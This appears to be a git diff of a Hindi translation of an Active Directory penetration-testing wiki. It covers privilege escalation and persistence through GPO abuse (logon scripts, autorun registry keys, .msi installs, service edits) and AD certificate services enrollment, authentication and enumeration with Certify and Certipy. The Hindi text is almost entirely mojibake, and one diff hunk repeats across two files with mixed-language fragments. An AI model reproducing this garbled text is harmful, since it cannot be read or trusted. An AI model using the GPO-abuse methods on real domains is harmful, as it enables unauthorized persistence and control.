рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рдзрд┐ GPO рд╣реЗрд░рдлреЗрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред +рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдпрд╣ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдпреЗ рдкрд░рд┐рд╡рд░реНрддрди рдХреИрд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рдХрд░, рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдореЗрдВ рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рдзрд┐ GPO рд╣реЗрд░рдлреЗрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рдзрд┐рдпрд╛рдБ, рдЬреИрд╕реЗ рдХрд┐ рд▓реЙрдЧрд┐рди/рд▓реЙрдЧрдСрдл рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛, рдСрдЯреЛ рд░рди рдХреЗ рд▓рд┐рдП рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛, .msi рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛, рдпрд╛ рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ GPOs рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдкрд╣реБрдВрдЪ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдорд╛рд░реНрдЧ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рдзрд┐рдпрд╛рдБ, рдЬреИрд╕реЗ рдХрд┐ рд▓реЙрдЧрд┐рди/рд▓реЙрдЧрдСрдл рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛, рдСрдЯреЛрд░рди рдХреЗ рд▓рд┐рдП рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛, .msi рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛, рдпрд╛ рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ GPOs рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдкрд░ рдкрд╣реБрдВрдЪ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдорд╛рд░реНрдЧ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред ## рд╕рдВрджрд░реНрдн diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index 0776aad80..00741738f 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -77,29 +77,29 @@ Certificates can be requested through: 5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP). Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command). -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг +## Certificate Authentication Active Directory (AD) рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Kerberos** рдФрд░ **Secure Channel (Schannel)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред -### Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ +### Kerberos Authentication Process Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ Ticket Granting Ticket (TGT) рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЕрдиреБрд░реЛрдз рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рджреНрд╡рд╛рд░рд╛ рдХрдИ рдорд╛рдиреНрдпрддрд╛рдУрдВ рд╕реЗ рдЧреБрдЬрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА **рд╡реИрдзрддрд╛**, **рдкрде**, рдФрд░ **рд░рджреНрджреАрдХрд░рдг рд╕реНрдерд┐рддрд┐** рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдорд╛рдиреНрдпрддрд╛рдУрдВ рдореЗрдВ рдпрд╣ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрдд рд╕реЗ рдЖрддрд╛ рд╣реИ рдФрд░ **NTAUTH рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдЯреЛрд░** рдореЗрдВ рдЬрд╛рд░реАрдХрд░реНрддрд╛ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ред рд╕рдлрд▓ рдорд╛рдиреНрдпрддрд╛рдУрдВ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдПрдХ TGT рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред AD рдореЗрдВ **`NTAuthCertificates`** рдСрдмреНрдЬреЗрдХреНрдЯ, рдЬреЛ рдХрд┐ рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдп рд╣реИред +рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХреЗрдВрджреНрд░реАрдп рд╣реИред ### рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓ (Schannel) рдкреНрд░рдорд╛рдгреАрдХрд░рдг -Schannel рд╕реБрд░рдХреНрд╖рд┐рдд TLS/SSL рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рджреМрд░рд╛рди, рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ, рдпрджрд┐ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЛ AD рдЦрд╛рддреЗ рд╕реЗ рдореИрдк рдХрд░рдиреЗ рдореЗрдВ Kerberos рдХрд╛ **S4U2Self** рдлрд╝рдВрдХреНрд╢рди рдпрд╛ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрд╛ **Subject Alternative Name (SAN)** рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреЗ рдмреАрдЪред +Schannel рд╕реБрд░рдХреНрд╖рд┐рдд TLS/SSL рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рджреМрд░рд╛рди, рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ, рдпрджрд┐ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ AD рдЦрд╛рддреЗ рд╕реЗ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ Kerberos рдХрд╛ **S4U2Self** рдлрд╝рдВрдХреНрд╢рди рдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ **Subject Alternative Name (SAN)** рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреЗ рдмреАрдЪред -### AD рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЧрдгрдирд╛ +### AD рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЧрдгрдирд╛ -AD рдХреА рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ LDAP рдХреНрд╡реЗрд░реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ **Enterprise Certificate Authorities (CAs)** рдФрд░ рдЙрдирдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИред рдпрд╣ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди-рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рдмрд┐рдирд╛ рд╕реБрд▓рдн рд╣реИред **[Certify](https://github.com/GhostPack/Certify)** рдФрд░ **[Certipy](https://github.com/ly4k/Certipy)** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг AD CS рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЧрдгрдирд╛ рдФрд░ рднреЗрджреНрдпрддрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +AD рдХреА рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ LDAP рдХреНрд╡реЗрд░реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ **Enterprise Certificate Authorities (CAs)** рдФрд░ рдЙрдирдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИред рдпрд╣ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди-рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рдмрд┐рдирд╛ рд╕реБрд▓рдн рд╣реИред **[Certify](https://github.com/GhostPack/Certify)** рдФрд░ **[Certipy](https://github.com/ly4k/Certipy)** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг AD CS рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЧрдгрдирд╛ рдФрд░ рднреЗрджреНрдпрддрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: ```bash diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 40b8f278d..233ac5de4 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -77,31 +77,31 @@ Certificates can be requested through: 5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP). Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command). -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг +## Certificate Authentication Active Directory (AD) рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Kerberos** рдФрд░ **Secure Channel (Schannel)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред -### Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ +### Kerberos Authentication Process -Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ Ticket Granting Ticket (TGT) рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЕрдиреБрд░реЛрдз рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рджреНрд╡рд╛рд░рд╛ рдХрдИ рдорд╛рдиреНрдпрддрд╛рдУрдВ рд╕реЗ рдЧреБрдЬрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА **рд╡реИрдзрддрд╛**, **рдкрде**, рдФрд░ **рд░рджреНрджреАрдХрд░рдг рд╕реНрдерд┐рддрд┐** рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдорд╛рдиреНрдпрддрд╛рдУрдВ рдореЗрдВ рдпрд╣ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрдд рд╕реЗ рдЖрддрд╛ рд╣реИ рдФрд░ **NTAUTH рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдЯреЛрд░** рдореЗрдВ рдЬрд╛рд░реАрдХрд░реНрддрд╛ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ред рд╕рдлрд▓ рдорд╛рдиреНрдпрддрд╛рдУрдВ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдПрдХ TGT рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред AD рдореЗрдВ **`NTAuthCertificates`** рдСрдмреНрдЬреЗрдХреНрдЯ, рдЬреЛ рдХрд┐: +Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ Ticket Granting Ticket (TGT) рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЕрдиреБрд░реЛрдз рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рджреНрд╡рд╛рд░рд╛ рдХрдИ рдорд╛рдиреНрдпрддрд╛рдУрдВ рд╕реЗ рдЧреБрдЬрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА **рд╡реИрдзрддрд╛**, **рдкрде**, рдФрд░ **рд░рджреНрджреАрдХрд░рдг рд╕реНрдерд┐рддрд┐** рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдорд╛рдиреНрдпрддрд╛рдУрдВ рдореЗрдВ рдпрд╣ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрдд рд╕реЗ рдЖрддрд╛ рд╣реИ рдФрд░ **NTAUTH рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдЯреЛрд░** рдореЗрдВ рдЬрд╛рд░реАрдХрд░реНрддрд╛ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ред рд╕рдлрд▓ рдорд╛рдиреНрдпрддрд╛рдУрдВ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдПрдХ TGT рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред AD рдореЗрдВ **`NTAuthCertificates`** рдСрдмреНрдЬреЗрдХреНрдЯ, рдЬреЛ рдХрд┐ рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдп рд╣реИред +is рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдпред ### рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓ (Schannel) рдкреНрд░рдорд╛рдгреАрдХрд░рдг -Schannel рд╕реБрд░рдХреНрд╖рд┐рдд TLS/SSL рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рджреМрд░рд╛рди, рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ, рдпрджрд┐ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЛ AD рдЦрд╛рддреЗ рд╕реЗ рдореИрдк рдХрд░рдиреЗ рдореЗрдВ Kerberos рдХрд╛ **S4U2Self** рдлрд╝рдВрдХреНрд╢рди рдпрд╛ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрд╛ **Subject Alternative Name (SAN)** рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреЗ рдмреАрдЪред +Schannel рд╕реБрд░рдХреНрд╖рд┐рдд TLS/SSL рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рджреМрд░рд╛рди, рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ, рдпрджрд┐ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХреГрдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ AD рдЦрд╛рддреЗ рд╕реЗ рдорд╛рдирдЪрд┐рддреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ Kerberos рдХрд╛ **S4U2Self** рдлрд╝рдВрдХреНрд╢рди рдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ **Subject Alternative Name (SAN)** рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдиреНрдп рддрд░реАрдХреЛрдВ рдХреЗ рдмреАрдЪред -### AD рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЧрдгрдирд╛ +### AD рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЧрдгрдирд╛ -AD рдХреА 